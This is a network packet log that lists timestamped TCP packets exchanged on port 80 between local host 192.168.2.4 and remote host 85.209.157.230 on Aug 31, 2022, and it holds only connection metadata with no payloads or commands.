Aug 31, 2022 14:28:35.815639019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815654993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815671921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815696955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815722942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815738916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815746069 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815753937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815781116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815788031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815810919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815824986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815840960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815857887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815865040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815872908 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815895081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815916061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815980911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816026926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816050053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816071033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816092968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816118956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816119909 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816126108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816148043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816178083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816193104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816212893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816217899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816217899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816268921 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816272974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816288948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816303968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816314936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816339970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816481113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816497087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816512108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816528082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816557884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816565037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816565037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816581011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816596031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816612005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816625118 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816627979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816633940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816648006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816663980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816700935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816704988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816710949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816736937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816832066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816848993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816878080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816893101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816899061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816915989 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816936970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.816957951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.816968918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836829901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836855888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836877108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836899996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836920977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836941004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836961985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.836982012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837002039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837022066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837023020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837042093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837044954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837050915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837064981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837093115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837095976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837120056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837148905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837176085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837182999 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837187052 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837201118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837253094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837268114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837344885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837354898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837435007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837457895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837476969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837496042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837517023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837523937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837531090 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837538004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837558031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837568045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837572098 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837578058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837615013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837635040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837655067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837668896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837692976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837699890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837709904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837750912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837788105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837805033 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837847948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837868929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837888002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837907076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837908983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837913990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.837929010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837948084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837968111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837984085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.837985039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.838000059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838028908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838053942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838074923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838105917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838134050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.838139057 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.838152885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838186979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838206053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838280916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.838943005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838964939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.838984966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839004993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839025974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839045048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839066982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839091063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839112997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839133024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839200020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839205980 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839215994 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839221001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839260101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839279890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839298010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839301109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839306116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839322090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839342117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839389086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839404106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839422941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839459896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839476109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839482069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839503050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839534998 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839539051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839560032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839581013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839601040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839621067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839639902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839659929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839679956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839690924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839694977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839699984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839715004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839828014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839868069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839889050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839910030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839946032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.839982986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839987993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.839993954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840013981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840034008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840054035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840069056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840071917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840073109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840092897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840114117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840133905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840153933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840157032 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840162039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840173960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840193987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840229034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840234995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840238094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840261936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840284109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840305090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840317965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840342999 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840347052 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.840944052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.840966940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841034889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841056108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841074944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841094971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841116905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841160059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841221094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841232061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841243029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841280937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841300964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841320992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841341019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841360092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841381073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841409922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841428995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841449022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841494083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841511965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841620922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841648102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841674089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841701031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841710091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841730118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841742039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841754913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841799974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841811895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841842890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841882944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841909885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841929913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.841933966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.841942072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842082024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842109919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842139006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842174053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842200994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842201948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842210054 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842228889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842256069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842281103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842300892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842307091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842308044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842334032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842360973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842387915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842415094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842437029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842458963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842480898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842508078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842535973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842561960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842581034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842587948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842607021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842632055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842658997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842705011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842705011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842731953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842752934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842757940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842783928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842797995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842803001 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842809916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842838049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842865944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842895985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842897892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842922926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842925072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.842952967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.842982054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843010902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843040943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843070984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843102932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843136072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843153954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843235016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843261003 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843261957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843291044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843317032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843343019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843391895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843419075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843446970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843475103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843478918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843486071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843502045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843532085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843583107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843600988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843617916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843636036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843688011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843710899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843715906 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843723059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843733072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843754053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843770981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843775034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843775988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843806982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843847990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843882084 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.843885899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843907118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843930006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843952894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.843974113 CEST	80	49726	85.209.157.230	192.168.2.4
